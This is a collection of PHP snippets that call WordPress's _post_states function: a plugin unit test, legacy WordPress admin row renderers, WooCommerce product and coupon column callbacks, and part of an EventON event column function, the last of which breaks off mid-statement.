function test_post_states() { global $post_states; $parent_post_id = $this->factory->post->create(); $post_id = $this->factory->post->create(array('post_parent' => $parent_post_id)); save_post_repeating_status($parent_post_id, 'weekly'); // Hack to allow us access to $post_states so we can test it add_filter('display_post_states', function ($states, $post) { global $post_states; $post_states = $states; return $states; }, 11, 2); // We need to output buffer _post_states as it echo's ob_start(); _post_states(get_post($post_id)); ob_end_clean(); $this->assertEquals(array('hm-post-repeat' => __('Repeat', 'hm-post-repeat')), $post_states); ob_start(); _post_states(get_post($parent_post_id)); ob_end_clean(); $this->assertEquals(array('hm-post-repeat' => __('Repeating', 'hm-post-repeat')), $post_states); }
/** * {@internal Missing Short Description}} * * @since unknown * * @param unknown_type $page * @param unknown_type $level */ function display_page_row( $page, $level = 0 ) { global $post; static $rowclass; $post = $page; setup_postdata($page); $page->post_title = wp_specialchars( $page->post_title ); $pad = str_repeat( '— ', $level ); $id = (int) $page->ID; $rowclass = 'alternate' == $rowclass ? '' : 'alternate'; $posts_columns = get_column_headers('edit-pages'); $hidden = get_hidden_columns('edit-pages'); $title = _draft_or_post_title(); ?> <tr id="page-<?php echo $id; ?>" class="<?php echo $rowclass; ?> iedit"> <?php foreach ($posts_columns as $column_name=>$column_display_name) { $class = "class=\"$column_name column-$column_name\""; $style = ''; if ( in_array($column_name, $hidden) ) $style = ' style="display:none;"'; $attributes = "$class$style"; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php the_ID(); ?>" /></th> <?php break; case 'date': if ( '0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name ) { $t_time = $h_time = __('Unpublished'); } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $page->post_date; $time = get_post_time('G', true); if ( ( abs(time() - $time) ) < 86400 ) { if ( ( 'future' == $page->post_status) ) $h_time = sprintf( __('%s from now'), human_time_diff( $time ) ); else $h_time = sprintf( __('%s ago'), human_time_diff( $time ) ); } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } echo '<td ' . $attributes . '>'; echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>'; echo '<br />'; if ( 'publish' == $page->post_status || 'future' == $page->post_status ) _e('Published'); else _e('Last Modified'); echo '</td>'; break; case 'title': $attributes = 'class="post-title page-title column-title"' . $style; $edit_link = get_edit_post_link( $page->ID ); ?> <td <?php echo $attributes ?>><strong><?php if ( current_user_can( 'edit_post', $page->ID ) ) { ?><a class="row-title" href="<?php echo $edit_link; ?>" title="<?php echo attribute_escape(sprintf(__('Edit "%s"'), $title)); ?>"><?php echo $pad; echo $title ?></a><?php } else { echo $pad; echo $title; }; _post_states($page); ?></strong> <?php $actions = array(); if ( current_user_can('edit_page', $page->ID) ) { $actions['edit'] = '<a href="' . $edit_link . '" title="' . attribute_escape(__('Edit this page')) . '">' . __('Edit') . '</a>'; $actions['inline'] = '<a href="#" class="editinline">' . __('Quick Edit') . '</a>'; $actions['delete'] = "<a class='submitdelete' title='" . attribute_escape(__('Delete this page')) . "' href='" . wp_nonce_url("page.php?action=delete&post=$page->ID", 'delete-page_' . $page->ID) . "' onclick=\"if ( confirm('" . js_escape(sprintf( ('draft' == $page->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this page '%s'\n 'Cancel' to stop, 'OK' to delete."), $page->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>"; } if ( in_array($post->post_status, array('pending', 'draft')) ) { if ( current_user_can('edit_page', $page->ID) ) $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . attribute_escape(sprintf(__('Preview "%s"'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } else { $actions['view'] = '<a href="' . get_permalink($page->ID) . '" title="' . attribute_escape(sprintf(__('View "%s"'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } $action_count = count($actions); $i = 0; echo '<div class="row-actions">'; foreach ( $actions as $action => $link ) { ++$i; ( $i == $action_count ) ? $sep = '' : $sep = ' | '; echo "<span class='$action'>$link$sep</span>"; } echo '</div>'; get_inline_data($post); echo '</td>'; break; case 'comments': ?> <td <?php echo $attributes ?>><div class="post-com-count-wrapper"> <?php $left = get_pending_comments_num( $page->ID ); $pending_phrase = sprintf( __('%s pending'), number_format( $left ) ); if ( $left ) echo '<strong>'; comments_number("<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('0') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('1') . '</span></a>', "<a href='edit-comments.php?p=$id' title='$pending_phrase' class='post-com-count'><span class='comment-count'>" . __('%') . '</span></a>'); if ( $left ) echo '</strong>'; ?> </div></td> <?php break; case 'author': ?> <td <?php echo $attributes ?>><a href="edit-pages.php?author=<?php the_author_ID(); ?>"><?php the_author() ?></a></td> <?php break; default: ?> <td <?php echo $attributes ?>><?php do_action('manage_pages_custom_column', $column_name, $id); ?></td> <?php break; } } ?> </tr> <?php }
?> ' /> </td> <td> <strong> <a href='<?php echo get_edit_post_link($method->ID); ?> ' class='row-title' title='<?php _e('Edit Method', 'woocommerce-advanced-shipping'); ?> '><?php echo _draft_or_post_title($method->ID); ?> </a><?php echo _post_states($method); ?> </strong> <div class='row-actions'> <span class='edit'> <a href='<?php echo get_edit_post_link($method->ID); ?> ' title='<?php _e('Edit Method', 'woocommerce-advanced-shipping'); ?> '> <?php _e('Edit', 'woocommerce-advanced-shipping'); ?> </a>
function single_row($post, $level = 0) { global $mode; static $alternate; $global_post = get_post(); $GLOBALS['post'] = $post; setup_postdata($post); $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can('edit_post', $post->ID); $alternate = 'alternate' == $alternate ? '' : 'alternate'; $classes = $alternate . ' iedit author-' . (get_current_user_id() == $post->post_author ? 'self' : 'other'); $lock_holder = wp_check_post_lock($post->ID); if ($lock_holder) { $classes .= ' wp-locked'; $lock_holder = get_userdata($lock_holder); } ?> <tr id="post-<?php echo $post->ID; ?> " class="<?php echo implode(' ', get_post_class($classes, $post->ID)); ?> " valign="top"> <?php list($columns, $hidden) = $this->get_column_info(); foreach ($columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"> <?php if ($can_edit_post) { ?> <label class="screen-reader-text" for="cb-select-<?php the_ID(); ?> "><?php printf(__('Select %s'), $title); ?> </label> <input id="cb-select-<?php the_ID(); ?> " type="checkbox" name="post[]" value="<?php the_ID(); ?> " /> <div class="locked-indicator"></div> <?php } ?> </th> <?php break; case 'title': $attributes = 'class="post-title page-title column-title"' . $style; if ($this->hierarchical_display) { if (0 == $level && (int) $post->post_parent > 0) { //sent level 0 by accident, by default, or because we don't know the actual level $find_main_page = (int) $post->post_parent; while ($find_main_page > 0) { $parent = get_post($find_main_page); if (is_null($parent)) { break; } $level++; $find_main_page = (int) $parent->post_parent; if (!isset($parent_name)) { /** This filter is documented in wp-includes/post-template.php */ $parent_name = apply_filters('the_title', $parent->post_title, $parent->ID); } } } } $pad = str_repeat('— ', $level); echo "<td {$attributes}><strong>"; if ($format = get_post_format($post->ID)) { $label = get_post_format_string($format); echo '<a href="' . esc_url(add_query_arg(array('post_format' => $format, 'post_type' => $post->post_type), 'edit.php')) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> "; } if ($can_edit_post && $post->post_status != 'trash') { echo '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit “%s”'), $title)) . '">' . $pad . $title . '</a>'; } else { echo $pad . $title; } _post_states($post); if (isset($parent_name)) { echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name); } echo "</strong>\n"; if ($can_edit_post && $post->post_status != 'trash') { if ($lock_holder) { $locked_avatar = get_avatar($lock_holder->ID, 18); $locked_text = esc_html(sprintf(__('%s is currently editing'), $lock_holder->display_name)); } else { $locked_avatar = $locked_text = ''; } echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n"; } if (!$this->hierarchical_display && 'excerpt' == $mode && current_user_can('read_post', $post->ID)) { the_excerpt(); } $actions = array(); if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick Edit') . '</a>'; } if (current_user_can('delete_post', $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>"; } } if ($post_type_object->public) { if (in_array($post->post_status, array('pending', 'draft', 'future'))) { if ($can_edit_post) { $actions['view'] = '<a href="' . esc_url(apply_filters('preview_post_link', set_url_scheme(add_query_arg('preview', 'true', get_permalink($post->ID))))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } } $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post); echo $this->row_actions($actions); get_inline_data($post); echo '</td>'; break; case 'date': if ('0000-00-00 00:00:00' == $post->post_date) { $t_time = $h_time = __('Unpublished'); $time_diff = 0; } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $post->post_date; $time = get_post_time('G', true, $post); $time_diff = time() - $time; if ($time_diff > 0 && $time_diff < DAY_IN_SECONDS) { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } echo '<td ' . $attributes . '>'; if ('excerpt' == $mode) { echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode); } else { echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>'; } echo '<br />'; if ('publish' == $post->post_status) { _e('Published'); } elseif ('future' == $post->post_status) { if ($time_diff > 0) { echo '<strong class="attention">' . __('Missed schedule') . '</strong>'; } else { _e('Scheduled'); } } else { _e('Last Modified'); } echo '</td>'; break; case 'comments': ?> <td <?php echo $attributes; ?> ><div class="post-com-count-wrapper"> <?php $pending_comments = isset($this->comment_pending_count[$post->ID]) ? $this->comment_pending_count[$post->ID] : 0; $this->comments_bubble($post->ID, $pending_comments); ?> </div></td> <?php break; case 'author': ?> <td <?php echo $attributes; ?> ><?php printf('<a href="%s">%s</a>', esc_url(add_query_arg(array('post_type' => $post->post_type, 'author' => get_the_author_meta('ID')), 'edit.php')), get_the_author()); ?> </td> <?php break; default: if ('categories' == $column_name) { $taxonomy = 'category'; } elseif ('tags' == $column_name) { $taxonomy = 'post_tag'; } elseif (0 === strpos($column_name, 'taxonomy-')) { $taxonomy = substr($column_name, 9); } else { $taxonomy = false; } if ($taxonomy) { $taxonomy_object = get_taxonomy($taxonomy); echo '<td ' . $attributes . '>'; if ($terms = get_the_terms($post->ID, $taxonomy)) { $out = array(); foreach ($terms as $t) { $posts_in_term_qv = array(); if ('post' != $post->post_type) { $posts_in_term_qv['post_type'] = $post->post_type; } if ($taxonomy_object->query_var) { $posts_in_term_qv[$taxonomy_object->query_var] = $t->slug; } else { $posts_in_term_qv['taxonomy'] = $taxonomy; $posts_in_term_qv['term'] = $t->slug; } $out[] = sprintf('<a href="%s">%s</a>', esc_url(add_query_arg($posts_in_term_qv, 'edit.php')), esc_html(sanitize_term_field('name', $t->name, $t->term_id, $taxonomy, 'display'))); } /* translators: used between list items, there is a space after the comma */ echo join(__(', '), $out); } else { echo '—'; } echo '</td>'; break; } ?> <td <?php echo $attributes; ?> ><?php if (is_post_type_hierarchical($post->post_type)) { do_action('manage_pages_custom_column', $column_name, $post->ID); } else { do_action('manage_posts_custom_column', $column_name, $post->ID); } do_action("manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID); ?> </td> <?php break; } } ?> </tr> <?php $GLOBALS['post'] = $global_post; }
function single_row($a_post, $level = 0) { global $post, $mode; static $alternate; $global_post = $post; $post = $a_post; setup_postdata($post); $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID); $alternate = 'alternate' == $alternate ? '' : 'alternate'; $classes = $alternate . ' iedit author-' . (get_current_user_id() == $post->post_author ? 'self' : 'other'); ?> <tr id="post-<?php echo $post->ID; ?> " class="<?php echo implode(' ', get_post_class($classes, $post->ID)); ?> " valign="top"> <?php list($columns, $hidden) = $this->get_column_info(); foreach ($columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"><?php if ($can_edit_post) { ?> <input type="checkbox" name="post[]" value="<?php the_ID(); ?> " /><?php } ?> </th> <?php break; case 'title': if ($this->hierarchical_display) { $attributes = 'class="post-title page-title column-title"' . $style; if (0 == $level && (int) $post->post_parent > 0) { //sent level 0 by accident, by default, or because we don't know the actual level $find_main_page = (int) $post->post_parent; while ($find_main_page > 0) { $parent = get_page($find_main_page); if (is_null($parent)) { break; } $level++; $find_main_page = (int) $parent->post_parent; if (!isset($parent_name)) { $parent_name = apply_filters('the_title', $parent->post_title, $parent->ID); } } } $pad = str_repeat('— ', $level); ?> <td <?php echo $attributes; ?> ><strong><?php if ($can_edit_post && $post->post_status != 'trash') { ?> <a class="row-title" href="<?php echo $edit_link; ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $title)); ?> "><?php echo $pad; echo $title; ?> </a><?php } else { echo $pad; echo $title; } _post_states($post); echo isset($parent_name) ? ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name) : ''; ?> </strong> <?php } else { $attributes = 'class="post-title page-title column-title"' . $style; ?> <td <?php echo $attributes; ?> ><strong><?php if ($can_edit_post && $post->post_status != 'trash') { ?> <a class="row-title" href="<?php echo $edit_link; ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $title)); ?> "><?php echo $title; ?> </a><?php } else { echo $title; } _post_states($post); ?> </strong> <?php if ('excerpt' == $mode) { the_excerpt(); } } $actions = array(); if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick Edit') . '</a>'; } if (current_user_can($post_type_object->cap->delete_post, $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-' . $post->post_type . '_' . $post->ID) . "'>" . __('Restore') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>"; } } if ($post_type_object->public) { if (in_array($post->post_status, array('pending', 'draft', 'future'))) { if ($can_edit_post) { $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } } $actions = apply_filters(is_post_type_hierarchical($post->post_type) ? 'page_row_actions' : 'post_row_actions', $actions, $post); echo $this->row_actions($actions); get_inline_data($post); echo '</td>'; break; case 'date': if ('0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name) { $t_time = $h_time = __('Unpublished'); $time_diff = 0; } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $post->post_date; $time = get_post_time('G', true, $post); $time_diff = time() - $time; if ($time_diff > 0 && $time_diff < 24 * 60 * 60) { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } echo '<td ' . $attributes . '>'; if ('excerpt' == $mode) { echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode); } else { echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>'; } echo '<br />'; if ('publish' == $post->post_status) { _e('Published'); } elseif ('future' == $post->post_status) { if ($time_diff > 0) { echo '<strong class="attention">' . __('Missed schedule') . '</strong>'; } else { _e('Scheduled'); } } else { _e('Last Modified'); } echo '</td>'; break; case 'categories': ?> <td <?php echo $attributes; ?> ><?php $categories = get_the_category(); if (!empty($categories)) { $out = array(); foreach ($categories as $c) { $out[] = sprintf('<a href="%s">%s</a>', esc_url(add_query_arg(array('post_type' => $post->post_type, 'category_name' => $c->slug), 'edit.php')), esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display'))); } echo join(', ', $out); } else { _e('Uncategorized'); } ?> </td> <?php break; case 'tags': ?> <td <?php echo $attributes; ?> ><?php $tags = get_the_tags($post->ID); if (!empty($tags)) { $out = array(); foreach ($tags as $c) { $out[] = sprintf('<a href="%s">%s</a>', esc_url(add_query_arg(array('post_type' => $post->post_type, 'tag' => $c->slug), 'edit.php')), esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'tag', 'display'))); } echo join(', ', $out); } else { _e('No Tags'); } ?> </td> <?php break; case 'comments': ?> <td <?php echo $attributes; ?> ><div class="post-com-count-wrapper"> <?php $pending_comments = isset($this->comment_pending_count[$post->ID]) ? $this->comment_pending_count[$post->ID] : 0; $this->comments_bubble($post->ID, $pending_comments); ?> </div></td> <?php break; case 'author': ?> <td <?php echo $attributes; ?> ><?php printf('<a href="%s">%s</a>', esc_url(add_query_arg(array('post_type' => $post->post_type, 'author' => get_the_author_meta('ID')), 'edit.php')), get_the_author()); ?> </td> <?php break; default: ?> <td <?php echo $attributes; ?> ><?php if (is_post_type_hierarchical($post->post_type)) { do_action('manage_pages_custom_column', $column_name, $post->ID); } else { do_action('manage_posts_custom_column', $column_name, $post->ID); } do_action("manage_{$post->post_type}_posts_custom_column", $column_name, $post->ID); ?> </td> <?php break; } } ?> </tr> <?php $post = $global_post; }
/** * Custom Columns for Products page * * @access public * @param mixed $column * @return void */ function woocommerce_custom_product_columns($column) { global $post, $woocommerce, $the_product; if (empty($the_product) || $the_product->id != $post->ID) { $the_product = get_product($post); } switch ($column) { case "thumb": echo '<a href="' . get_edit_post_link($post->ID) . '">' . $the_product->get_image() . '</a>'; break; case "name": $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID); echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>'; _post_states($post); echo '</strong>'; if ($post->post_parent > 0) { echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>'; } // Excerpt view if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') { echo apply_filters('the_excerpt', $post->post_excerpt); } // Get actions $actions = array(); $actions['id'] = 'ID: ' . $post->ID; if ($can_edit_post && 'trash' != $post->post_status) { $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>'; $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline')) . '">' . __('Quick Edit') . '</a>'; } if (current_user_can($post_type_object->cap->delete_post, $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>"; } } if ($post_type_object->public) { if (in_array($post->post_status, array('pending', 'draft', 'future'))) { if ($can_edit_post) { $actions['view'] = '<a href="' . esc_url(add_query_arg('preview', 'true', get_permalink($post->ID))) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } elseif ('trash' != $post->post_status) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } } $actions = apply_filters('post_row_actions', $actions, $post); echo '<div class="row-actions">'; $i = 0; $action_count = sizeof($actions); foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; get_inline_data($post); /* Custom inline data for woocommerce */ echo ' <div class="hidden" id="woocommerce_inline_' . $post->ID . '"> <div class="menu_order">' . $post->menu_order . '</div> <div class="sku">' . $the_product->sku . '</div> <div class="regular_price">' . $the_product->regular_price . '</div> <div class="sale_price">' . $the_product->sale_price . '</div> <div class="weight">' . $the_product->weight . '</div> <div class="length">' . $the_product->length . '</div> <div class="width">' . $the_product->width . '</div> <div class="height">' . $the_product->height . '</div> <div class="visibility">' . $the_product->visibility . '</div> <div class="stock_status">' . $the_product->stock_status . '</div> <div class="stock">' . $the_product->stock . '</div> <div class="manage_stock">' . $the_product->manage_stock . '</div> <div class="featured">' . $the_product->featured . '</div> <div class="product_type">' . $the_product->product_type . '</div> <div class="product_is_virtual">' . $the_product->virtual . '</div> </div> '; break; case "sku": if ($the_product->get_sku()) { echo $the_product->get_sku(); } else { echo '<span class="na">–</span>'; } break; case "product_type": if ($the_product->product_type == 'grouped') { echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('Grouped', 'woocommerce') . '"></span>'; } elseif ($the_product->product_type == 'external') { echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('External/Affiliate', 'woocommerce') . '"></span>'; } elseif ($the_product->product_type == 'simple') { if ($the_product->is_virtual()) { echo '<span class="product-type tips virtual" data-tip="' . __('Virtual', 'woocommerce') . '"></span>'; } elseif ($the_product->is_downloadable()) { echo '<span class="product-type tips downloadable" data-tip="' . __('Downloadable', 'woocommerce') . '"></span>'; } else { echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('Simple', 'woocommerce') . '"></span>'; } } elseif ($the_product->product_type == 'variable') { echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . __('Variable', 'woocommerce') . '"></span>'; } else { // Assuming that we have other types in future echo '<span class="product-type tips ' . $the_product->product_type . '" data-tip="' . ucwords($the_product->product_type) . '"></span>'; } break; case "price": if ($the_product->get_price_html()) { echo $the_product->get_price_html(); } else { echo '<span class="na">–</span>'; } break; case "product_cat": case "product_tag": if (!($terms = get_the_terms($post->ID, $column))) { echo '<span class="na">–</span>'; } else { foreach ($terms as $term) { $termlist[] = '<a href="' . admin_url('edit.php?' . $column . '=' . $term->slug . '&post_type=product') . ' ">' . $term->name . '</a>'; } echo implode(', ', $termlist); } break; case 'featured': $url = wp_nonce_url(admin_url('admin-ajax.php?action=woocommerce-feature-product&product_id=' . $post->ID), 'woocommerce-feature-product'); echo '<a href="' . $url . '" title="' . __('Toggle featured', 'woocommerce') . '">'; if ($the_product->is_featured()) { echo '<img src="' . $woocommerce->plugin_url() . '/assets/images/featured.png" alt="' . __('yes', 'woocommerce') . '" height="14" width="14" />'; } else { echo '<img src="' . $woocommerce->plugin_url() . '/assets/images/featured-off.png" alt="' . __('no', 'woocommerce') . '" height="14" width="14" />'; } echo '</a>'; break; case "is_in_stock": if ($the_product->is_in_stock()) { echo '<mark class="instock">' . __('In stock', 'woocommerce') . '</mark>'; } else { echo '<mark class="outofstock">' . __('Out of stock', 'woocommerce') . '</mark>'; } if ($the_product->managing_stock()) { echo ' × ' . $the_product->get_total_stock(); } break; } }
/** * Values for Columns on the Coupons admin page. * * @access public * @param mixed $column * @return void */ function woocommerce_custom_coupon_columns($column) { global $post, $woocommerce; switch ($column) { case "coupon_code": $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID); echo '<div class="code tips" data-tip="' . __('Edit coupon', 'woocommerce') . '"><a href="' . esc_attr($edit_link) . '"><span>' . esc_html($title) . '</span></a></div>'; _post_states($post); // Get actions $actions = array(); if (current_user_can($post_type_object->cap->delete_post, $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash')) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash')) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash') . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently')) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently') . "</a>"; } } $actions = apply_filters('post_row_actions', $actions, $post); echo '<div class="row-actions">'; $i = 0; $action_count = sizeof($actions); foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; break; case "type": echo esc_html($woocommerce->get_coupon_discount_type(get_post_meta($post->ID, 'discount_type', true))); break; case "amount": echo esc_html(get_post_meta($post->ID, 'coupon_amount', true)); break; case "products": $product_ids = get_post_meta($post->ID, 'product_ids', true); $product_ids = $product_ids ? array_map('absint', explode(',', $product_ids)) : array(); if (sizeof($product_ids) > 0) { echo esc_html(implode(', ', $product_ids)); } else { echo '–'; } break; case "usage_limit": $usage_limit = get_post_meta($post->ID, 'usage_limit', true); if ($usage_limit) { echo esc_html($usage_limit); } else { echo '–'; } break; case "usage": $usage_count = absint(get_post_meta($post->ID, 'usage_count', true)); $usage_limit = esc_html(get_post_meta($post->ID, 'usage_limit', true)); if ($usage_limit) { printf(__('%s / %s', 'woocommerce'), $usage_count, $usage_limit); } else { printf(__('%s / ∞', 'woocommerce'), $usage_count); } break; case "expiry_date": $expiry_date = get_post_meta($post->ID, 'expiry_date', true); if ($expiry_date) { echo esc_html(date_i18n('F j, Y', strtotime($expiry_date))); } else { echo '–'; } break; case "description": echo wp_kses_post($post->post_excerpt); break; } }
/** * Custom Columns for event page * * @access public * @param mixed $column * @return void */ function eventon_custom_event_columns($column, $post_id) { global $post, $eventon; //if ( empty( $ajde_events ) || $ajde_events->id != $post->ID ) //$ajde_events = get_product( $post ); $pmv = get_post_custom($post_id); switch ($column) { case has_filter("evo_column_type_{$column}"): $content = apply_filters("evo_column_type_{$column}", $post_id); echo $content; break; case "thumb": //echo '<a href="' . get_edit_post_link( $post->ID ) . '">' . $ajde_events->get_image() . '</a>'; break; case "name": $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID); echo "<div class='evoevent_item'>"; $img_src = $eventon->evo_admin->get_image('thumbnail', false); $event_color = eventon_get_hex_color($pmv); echo '<a class="evoevent_image" href="' . get_edit_post_link($post_id) . '">'; if ($img_src) { echo '<img class="evoEventCirc" src="' . $img_src . '"/>'; } else { echo '<span class="evoEventCirc" style="background-color:' . $event_color . '"></span>'; } echo '</a><div class="evo_item_details">'; if ($can_edit_post) { echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . 